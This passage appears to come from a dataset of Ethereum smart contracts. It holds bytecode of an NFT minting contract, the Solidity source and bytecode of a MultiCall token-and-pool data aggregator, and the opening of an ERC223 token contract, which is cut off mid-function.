view returns (bool); }
0x6080604052600436106101815760003560e01c806370a08231116100d1578063a22cb4651161008a578063c87b56dd11610064578063c87b56dd14610450578063e985e9c514610470578063eb8d2444146104b9578063f2fde38b146104d357600080fd5b8063a22cb465146103fb578063b88d4fde1461041b578063b8fc10511461043b57600080fd5b806370a0823114610364578063715018a6146103845780638d859f3e146103995780638da5cb5b146103b557806395d89b41146103d3578063a0712d68146103e857600080fd5b806323b872dd1161013e5780633ccfd60b116101185780633ccfd60b146102ef57806342842e0e1461030457806355f804b3146103245780636352211e1461034457600080fd5b806323b872dd1461027a5780632a55205a1461029a57806332cb6b0c146102d957600080fd5b806301ffc9a71461018657806302c88989146101bb57806306fdde03146101dd578063081812fc146101ff578063095ea7b31461023757806318160ddd14610257575b600080fd5b34801561019257600080fd5b506101a66101a13660046115cd565b6104f3565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b506101db6101d6366004611606565b61051e565b005b3480156101e957600080fd5b506101f2610564565b6040516101b2919061166e565b34801561020b57600080fd5b5061021f61021a366004611681565b6105f6565b6040516001600160a01b0390911681526020016101b2565b34801561024357600080fd5b506101db6102523660046116b1565b61068b565b34801561026357600080fd5b5061026c6107a1565b6040519081526020016101b2565b34801561028657600080fd5b506101db6102953660046116db565b6107b1565b3480156102a657600080fd5b506102ba6102b5366004611717565b6107e2565b604080516001600160a01b0390931683526020830191909152016101b2565b3480156102e557600080fd5b5061026c614e2081565b3480156102fb57600080fd5b506101db61080a565b34801561031057600080fd5b506101db61031f3660046116db565b610886565b34801561033057600080fd5b506101db61033f3660046117c5565b6108a1565b34801561035057600080fd5b5061021f61035f366004611681565b6108e2565b34801561037057600080fd5b5061026c61037f36600461180e565b610959565b34801561039057600080fd5b506101db6109e0565b3480156103a557600080fd5b5061026c67016345785d8a000081565b3480156103c157600080fd5b506007546001600160a01b031661021f565b3480156103df57600080fd5b506101f2610a16565b6101db6103f6366004611681565b610a25565b34801561040757600080fd5b506101db610416366004611829565b610c2b565b34801561042757600080fd5b506101db61043636600461185c565b610cf0565b34801561044757600080fd5b5061026c606481565b34801561045c57600080fd5b506101f261046b366004611681565b610d28565b34801561047c57600080fd5b506101a661048b3660046118d8565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156104c557600080fd5b506009546101a69060ff1681565b3480156104df57600080fd5b506101db6104ee36600461180e565b610d32565b60006001600160e01b0319821663152a902d60e11b1480610518575061051882610dcd565b92915050565b6007546001600160a01b031633146105515760405162461bcd60e51b815260040161054890611902565b60405180910390fd5b6009805460ff1916911515919091179055565b60606000805461057390611937565b80601f016020809104026020016040519081016040528092919081815260200182805461059f90611937565b80156105ec5780601f106105c1576101008083540402835291602001916105ec565b820191906000526020600020905b8154815290600101906020018083116105cf57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661066f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610548565b506000908152600460205260409020546001600160a01b031690565b6000610696826108e2565b9050806001600160a01b0316836001600160a01b031614156107045760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610548565b336001600160a01b03821614806107205750610720813361048b565b6107925760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610548565b61079c8383610e1d565b505050565b60006107ac60085490565b905090565b6107bb3382610e8b565b6107d75760405162461bcd60e51b815260040161054890611972565b61079c838383610f82565b600080306127106107f5856101f46119d9565b6107ff91906119f8565b915091509250929050565b6002600654141561085d5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610548565b60026006554761087e6108786007546001600160a01b031690565b82611122565b506001600655565b61079c83838360405180602001604052806000815250610cf0565b6007546001600160a01b031633146108cb5760405162461bcd60e51b815260040161054890611902565b80516108de90600a90602084019061151e565b5050565b6000818152600260205260408120546001600160a01b0316806105185760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610548565b60006001600160a01b0382166109c45760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610548565b506001600160a01b031660009081526003602052604090205490565b6007546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161054890611902565b610a14600061123b565b565b60606001805461057390611937565b60026006541415610a785760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610548565b600260065560095460ff16610ac15760405162461bcd60e51b815260206004820152600f60248201526e53616c65206e6f742061637469766560881b6044820152606401610548565b614e20600182610acf6107a1565b610ad99190611a1a565b610ae39190611a32565b10610b255760405162461bcd60e51b815260206004820152601260248201527145786365656473206d617820737570706c7960701b6044820152606401610548565b6064811115610b765760405162461bcd60e51b815260206004820152601a60248201527f4d696e74206174206d6f73742031303020617420612074696d650000000000006044820152606401610548565b610b888167016345785d8a00006119d9565b341015610be65760405162461bcd60e51b815260206004820152602660248201527f496e73756666696369656e74207061796d656e742c20302e312045544820706560448201526572206974656d60d01b6064820152608401610548565b60005b81811015610c2257610c0233610bfd6107a1565b61128d565b610c10600880546001019055565b80610c1a81611a49565b915050610be9565b50506001600655565b6001600160a01b038216331415610c845760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610548565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610cfa3383610e8b565b610d165760405162461bcd60e51b815260040161054890611972565b610d22848484846113cf565b50505050565b6060610518611402565b6007546001600160a01b03163314610d5c5760405162461bcd60e51b815260040161054890611902565b6001600160a01b038116610dc15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610548565b610dca8161123b565b50565b60006001600160e01b031982166380ac58cd60e01b1480610dfe57506001600160e01b03198216635b5e139f60e01b145b8061051857506301ffc9a760e01b6001600160e01b0319831614610518565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610e52826108e2565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316610f045760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610548565b6000610f0f836108e2565b9050806001600160a01b0316846001600160a01b03161480610f4a5750836001600160a01b0316610f3f846105f6565b6001600160a01b0316145b80610f7a57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610f95826108e2565b6001600160a01b031614610ffd5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610548565b6001600160a01b03821661105f5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610548565b61106a600082610e1d565b6001600160a01b0383166000908152600360205260408120805460019290611093908490611a32565b90915550506001600160a01b03821660009081526003602052604081208054600192906110c1908490611a1a565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b804710156111725760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610548565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146111bf576040519150601f19603f3d011682016040523d82523d6000602084013e6111c4565b606091505b505090508061079c5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610548565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166112e35760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610548565b6000818152600260205260409020546001600160a01b0316156113485760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610548565b6001600160a01b0382166000908152600360205260408120805460019290611371908490611a1a565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6113da848484610f82565b6113e684848484611411565b610d225760405162461bcd60e51b815260040161054890611a64565b6060600a805461057390611937565b60006001600160a01b0384163b1561151357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611455903390899088908890600401611ab6565b602060405180830381600087803b15801561146f57600080fd5b505af192505050801561149f575060408051601f3d908101601f1916820190925261149c91810190611af3565b60015b6114f9573d8080156114cd576040519150601f19603f3d011682016040523d82523d6000602084013e6114d2565b606091505b5080516114f15760405162461bcd60e51b815260040161054890611a64565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610f7a565b506001949350505050565b82805461152a90611937565b90600052602060002090601f01602090048101928261154c5760008555611592565b82601f1061156557805160ff1916838001178555611592565b82800160010185558215611592579182015b82811115611592578251825591602001919060010190611577565b5061159e9291506115a2565b5090565b5b8082111561159e57600081556001016115a3565b6001600160e01b031981168114610dca57600080fd5b6000602082840312156115df57600080fd5b81356115ea816115b7565b9392505050565b8035801515811461160157600080fd5b919050565b60006020828403121561161857600080fd5b6115ea826115f1565b6000815180845260005b818110156116475760208185018101518683018201520161162b565b81811115611659576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006115ea6020830184611621565b60006020828403121561169357600080fd5b5035919050565b80356001600160a01b038116811461160157600080fd5b600080604083850312156116c457600080fd5b6116cd8361169a565b946020939093013593505050565b6000806000606084860312156116f057600080fd5b6116f98461169a565b92506117076020850161169a565b9150604084013590509250925092565b6000806040838503121561172a57600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561176a5761176a611739565b604051601f8501601f19908116603f0116810190828211818310171561179257611792611739565b816040528093508581528686860111156117ab57600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156117d757600080fd5b813567ffffffffffffffff8111156117ee57600080fd5b8201601f810184136117ff57600080fd5b610f7a8482356020840161174f565b60006020828403121561182057600080fd5b6115ea8261169a565b6000806040838503121561183c57600080fd5b6118458361169a565b9150611853602084016115f1565b90509250929050565b6000806000806080858703121561187257600080fd5b61187b8561169a565b93506118896020860161169a565b925060408501359150606085013567ffffffffffffffff8111156118ac57600080fd5b8501601f810187136118bd57600080fd5b6118cc8782356020840161174f565b91505092959194509250565b600080604083850312156118eb57600080fd5b6118f48361169a565b91506118536020840161169a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061194b57607f821691505b6020821081141561196c57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156119f3576119f36119c3565b500290565b600082611a1557634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a2d57611a2d6119c3565b500190565b600082821015611a4457611a446119c3565b500390565b6000600019821415611a5d57611a5d6119c3565b5060010190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611ae990830184611621565b9695505050505050565b600060208284031215611b0557600080fd5b81516115ea816115b756fea2646970667358221220f026b4cc528b0e937b5fc6285be4dd9f1b94860ccb5469cca15bf33bad950cb164736f6c63430008090033
[ 5 ]
0xF1CC1bb46B0EAa15E7D5E106CD227eDb4c50a6D6
// SPDX-License-Identifier: MIT // File contracts/ERC20/IERC20.sol pragma solidity ^0.8.0; interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); } // File contracts/interfaces/IOracle.sol pragma solidity ^0.8.0; interface IOracle { function getPriceUSD(address _asset) external view returns (uint256 price); } // File contracts/interfaces/IFactory.sol pragma solidity ^0.8.0; interface IFactory { function pool_count() external view returns (uint256); function pool_list(uint256 i) external view returns (address); function get_coins(address pool) external view returns (address[] memory); function get_underlying_coins(address pool) external view returns (address[] memory); function get_decimals(address pool) external view returns (uint256[] memory); function get_underlying_decimals(address pool) external view returns (uint256[] memory); function get_balances(address pool) external view returns (uint256[] memory); function get_underlying_balances(address pool) external view returns (uint256[] memory); } // File contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/utils/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/MultiCall.sol pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; contract MultiCall is Ownable { struct TokenData { string name; string symbol; uint8 decimals; uint256 totalSupply; uint256 price; uint256 balance; } struct PoolData { address poolAddress; TokenData poolTokenData; address[] coins; address[] underlyingCoins; uint256[] decimals; uint256[] underlyingDecimals; uint256[] balances; uint256[] underlyingBalances; } IOracle public oracle = IOracle(0x1447Db893bC4f6767460AD72359deAd840339c6a); IFactory public factory = IFactory(0x0959158b6040D32d04c301A72CBFD6b39E21c9AE); function getTokens(IERC20[] calldata _assets, address _account) external view returns (TokenData[] memory data) { data = new TokenData[](_assets.length); for (uint256 i = 0; i < _assets.length; i++) { data[i] = getToken(_assets[i], _account); } } function getPools(address _account) external view returns (PoolData[] memory data) { uint256 poolCount = factory.pool_count(); data = new PoolData[](poolCount); for (uint256 i = 0; i < poolCount; i++) { address poolAddress = factory.pool_list(i); data[i] = getPool(poolAddress, _account); } } function setOracle(IOracle _oracle) external onlyOwner { oracle = _oracle; } function setFactory(IFactory _factory) external onlyOwner { factory = _factory; } function getToken(IERC20 _asset, address _account) public view returns (TokenData memory) { string memory _name = _asset.name(); string memory _symbol = _asset.symbol(); uint8 _decimals = _asset.decimals(); uint256 _totalSupply = _asset.totalSupply(); uint256 _balance = _asset.balanceOf(_account); uint256 _price = address(oracle) != address(0) ? oracle.getPriceUSD(address(_asset)) : 0; return TokenData({ name: _name, symbol: _symbol, decimals: _decimals, totalSupply: _totalSupply, price: _price, balance: _balance }); } function getTokenWithoutPrice(IERC20 _asset, address _account) public view returns (TokenData memory) { string memory _name = _asset.name(); string memory _symbol = _asset.symbol(); uint8 _decimals = _asset.decimals(); uint256 _totalSupply = _asset.totalSupply(); uint256 _balance = _asset.balanceOf(_account); uint256 _price = 0; return TokenData({ name: _name, symbol: _symbol, decimals: _decimals, totalSupply: _totalSupply, price: _price, balance: _balance }); } function getPool(address pool, address _account) public view returns (PoolData memory) { address[] memory _coins = factory.get_underlying_coins(pool); address[] memory _underlyingCoins = factory.get_underlying_coins(pool); uint256[] memory _decimals = factory.get_decimals(pool); uint256[] memory _underlyingDecimals = factory.get_underlying_decimals(pool); uint256[] memory _balances = factory.get_balances(pool); uint256[] memory _underlyingBalances = factory.get_underlying_balances(pool); TokenData memory _tokenData = getTokenWithoutPrice(IERC20(pool), _account); return PoolData({ poolAddress: pool, poolTokenData: _tokenData, coins: _coins, underlyingCoins: _underlyingCoins, decimals: _decimals, underlyingDecimals: _underlyingDecimals, balances: _balances, underlyingBalances: _underlyingBalances }); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80637adbf973116100715780637adbf9731461015f5780637dc0d1d0146101725780638da5cb5b14610187578063c45a01551461018f578063d83a677e14610197578063f2fde38b146101aa576100b4565b80634302c950146100b9578063531aa03e146100e25780635bb47808146101025780635c39f467146101175780636724471414610137578063715018a614610157575b600080fd5b6100cc6100c73660046111db565b6101bd565b6040516100d9919061160b565b60405180910390f35b6100f56100f0366004611105565b6102b1565b6040516100d991906116d9565b6101156101103660046110c6565b61064b565b005b61012a6101253660046110c6565b6106b5565b6040516100d991906115ab565b61014a6101453660046112df565b610882565b6040516100d991906116ec565b610115610bc1565b61011561016d3660046110c6565b610c4a565b61017a610cab565b6040516100d99190611597565b61017a610cba565b61017a610cc9565b61014a6101a53660046112df565b610cd8565b6101156101b83660046110c6565b610f75565b60608267ffffffffffffffff8111156101e657634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561021f57816020015b61020c611039565b8152602001906001900390816102045790505b50905060005b838110156102a95761026b85858381811061025057634e487b7160e01b600052603260045260246000fd5b905060200201602081019061026591906110c6565b84610882565b82828151811061028b57634e487b7160e01b600052603260045260246000fd5b602002602001018190525080806102a190611786565b915050610225565b509392505050565b6102b9611072565b60025460405163a77576ef60e01b81526000916001600160a01b03169063a77576ef906102ea908790600401611597565b60006040518083038186803b15801561030257600080fd5b505afa158015610316573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261033e919081019061113d565b60025460405163a77576ef60e01b81529192506000916001600160a01b039091169063a77576ef90610374908890600401611597565b60006040518083038186803b15801561038c57600080fd5b505afa1580156103a0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526103c8919081019061113d565b6002546040516352b5155560e01b81529192506000916001600160a01b03909116906352b51555906103fe908990600401611597565b60006040518083038186803b15801561041657600080fd5b505afa15801561042a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610452919081019061125b565b600254604051634cb088f160e01b81529192506000916001600160a01b0390911690634cb088f190610488908a90600401611597565b60006040518083038186803b1580156104a057600080fd5b505afa1580156104b4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104dc919081019061125b565b6002546040516392e3cc2d60e01b81529192506000916001600160a01b03909116906392e3cc2d90610512908b90600401611597565b60006040518083038186803b15801561052a57600080fd5b505afa15801561053e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610566919081019061125b565b6002546040516359f4f35160e01b81529192506000916001600160a01b03909116906359f4f3519061059c908c90600401611597565b60006040518083038186803b1580156105b457600080fd5b505afa1580156105c8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526105f0919081019061125b565b905060006105fe8a8a610cd8565b60408051610100810182526001600160a01b038d1681526020810192909252810197909752506060860194909452608085019290925260a084015260c083015260e0820152905092915050565b610653611035565b6001600160a01b0316610664610cba565b6001600160a01b0316146106935760405162461bcd60e51b815260040161068a906116a4565b60405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60606000600260009054906101000a90046001600160a01b03166001600160a01b031663956aae3a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561070757600080fd5b505afa15801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f9190611381565b90508067ffffffffffffffff81111561076857634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156107a157816020015b61078e611072565b8152602001906001900390816107865790505b50915060005b8181101561087b57600254604051631d0eaec760e11b81526000916001600160a01b031690633a1d5d8e906107e09085906004016116ff565b60206040518083038186803b1580156107f857600080fd5b505afa15801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906110e9565b905061083c81866102b1565b84838151811061085c57634e487b7160e01b600052603260045260246000fd5b602002602001018190525050808061087390611786565b9150506107a7565b5050919050565b61088a611039565b6000836001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b1580156108c557600080fd5b505afa1580156108d9573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261090191908101906112f1565b90506000846001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561093e57600080fd5b505afa158015610952573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261097a91908101906112f1565b90506000856001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b757600080fd5b505afa1580156109cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ef9190611399565b90506000866001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2c57600080fd5b505afa158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190611381565b90506000876001600160a01b03166370a08231886040518263ffffffff1660e01b8152600401610a949190611597565b60206040518083038186803b158015610aac57600080fd5b505afa158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae49190611381565b6001549091506000906001600160a01b0316610b01576000610b81565b600154604051635708447d60e01b81526001600160a01b0390911690635708447d90610b31908c90600401611597565b60206040518083038186803b158015610b4957600080fd5b505afa158015610b5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b819190611381565b90506040518060c001604052808781526020018681526020018560ff16815260200184815260200182815260200183815250965050505050505092915050565b610bc9611035565b6001600160a01b0316610bda610cba565b6001600160a01b031614610c005760405162461bcd60e51b815260040161068a906116a4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610c52611035565b6001600160a01b0316610c63610cba565b6001600160a01b031614610c895760405162461bcd60e51b815260040161068a906116a4565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b6000546001600160a01b031690565b6002546001600160a01b031681565b610ce0611039565b6000836001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610d1b57600080fd5b505afa158015610d2f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d5791908101906112f1565b90506000846001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015610d9457600080fd5b505afa158015610da8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610dd091908101906112f1565b90506000856001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0d57600080fd5b505afa158015610e21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e459190611399565b90506000866001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8257600080fd5b505afa158015610e96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eba9190611381565b90506000876001600160a01b03166370a08231886040518263ffffffff1660e01b8152600401610eea9190611597565b60206040518083038186803b158015610f0257600080fd5b505afa158015610f16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3a9190611381565b6040805160c081018252968752602087019590955260ff9093169385019390935260608401526000608084015260a083015250905092915050565b610f7d611035565b6001600160a01b0316610f8e610cba565b6001600160a01b031614610fb45760405162461bcd60e51b815260040161068a906116a4565b6001600160a01b038116610fda5760405162461bcd60e51b815260040161068a9061165e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6040518060c001604052806060815260200160608152602001600060ff1681526020016000815260200160008152602001600081525090565b60405180610100016040528060006001600160a01b03168152602001611096611039565b81526020016060815260200160608152602001606081526020016060815260200160608152602001606081525090565b6000602082840312156110d7578081fd5b81356110e2816117c3565b9392505050565b6000602082840312156110fa578081fd5b81516110e2816117c3565b60008060408385031215611117578081fd5b8235611122816117c3565b91506020830135611132816117c3565b809150509250929050565b6000602080838503121561114f578182fd5b825167ffffffffffffffff811115611165578283fd5b8301601f81018513611175578283fd5b805161118861118382611732565b611708565b81815283810190838501858402850186018910156111a4578687fd5b8694505b838510156111cf5780516111bb816117c3565b8352600194909401939185019185016111a8565b50979650505050505050565b6000806000604084860312156111ef578081fd5b833567ffffffffffffffff80821115611206578283fd5b818601915086601f830112611219578283fd5b813581811115611227578384fd5b876020808302850101111561123a578384fd5b60209283019550935050840135611250816117c3565b809150509250925092565b6000602080838503121561126d578182fd5b825167ffffffffffffffff811115611283578283fd5b8301601f81018513611293578283fd5b80516112a161118382611732565b81815283810190838501858402850186018910156112bd578687fd5b8694505b838510156111cf5780518352600194909401939185019185016112c1565b60008060408385031215611117578182fd5b600060208284031215611302578081fd5b815167ffffffffffffffff80821115611319578283fd5b818401915084601f83011261132c578283fd5b81518181111561133e5761133e6117ad565b611351601f8201601f1916602001611708565b9150808252856020828501011115611367578384fd5b611378816020840160208601611756565b50949350505050565b600060208284031215611392578081fd5b5051919050565b6000602082840312156113aa578081fd5b815160ff811681146110e2578182fd5b6001600160a01b03169052565b6000815180845260208085019450808401835b838110156113ff5781516001600160a01b0316875295820195908201906001016113da565b509495945050505050565b6000815180845260208085019450808401835b838110156113ff5781518752958201959082019060010161141d565b60008151808452611451816020860160208601611756565b601f01601f19169290920160200192915050565b60006101006114758484516113ba565b602083015181602086015261148c82860182611531565b915050604083015184820360408601526114a682826113c7565b915050606083015184820360608601526114c082826113c7565b915050608083015184820360808601526114da828261140a565b91505060a083015184820360a08601526114f4828261140a565b91505060c083015184820360c086015261150e828261140a565b91505060e083015184820360e0860152611528828261140a565b95945050505050565b6000815160c0845261154660c0850182611439565b90506020830151848203602086015261155f8282611439565b91505060ff6040840151166040850152606083015160608501526080830151608085015260a083015160a08501528091505092915050565b6001600160a01b0391909116815260200190565b6000602080830181845280855180835260408601915060408482028701019250838701855b828110156115fe57603f198886030184526115ec858351611465565b945092850192908501906001016115d0565b5092979650505050505050565b6000602080830181845280855180835260408601915060408482028701019250838701855b828110156115fe57603f1988860301845261164c858351611531565b94509285019290850190600101611630565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082526110e26020830184611465565b6000602082526110e26020830184611531565b90815260200190565b60405181810167ffffffffffffffff8111828210171561172a5761172a6117ad565b604052919050565b600067ffffffffffffffff82111561174c5761174c6117ad565b5060209081020190565b60005b83811015611771578181015183820152602001611759565b83811115611780576000848401525b50505050565b60006000198214156117a657634e487b7160e01b81526011600452602481fd5b5060010190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146117d857600080fd5b5056fea26469706673582212206e14b45dcf4c02795e787d12c1a5c03dd9973026efbddc267a06ce85786a045264736f6c63430008000033
[ 38 ]
0xf1cc2c21df1088acea78756e8f40b3edc5096e5b
pragma solidity ^0.4.11; interface ERC20 { function totalSupply() public constant returns (uint256 totalSup); function balanceOf(address _owner) public constant returns (uint256 balance); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); function approve(address _spender, uint256 _value) public returns (bool success); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface ERC223 { function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract Joe223 is ERC223, ERC20 { using SafeMath for uint256; uint public constant _totalSupply = 2100000000e18; //starting supply of Token string public constant symbol = "JOE223"; string public constant name = "JOE223 Token"; uint8 public constant decimals = 18; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function Joe223() public{ balances[msg.sender] = _totalSupply; } function totalSupply() public constant returns (uint256 totalSup) { return _totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balances[msg.sender] >= _value && _value > 0 && !isContract(_to) ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); 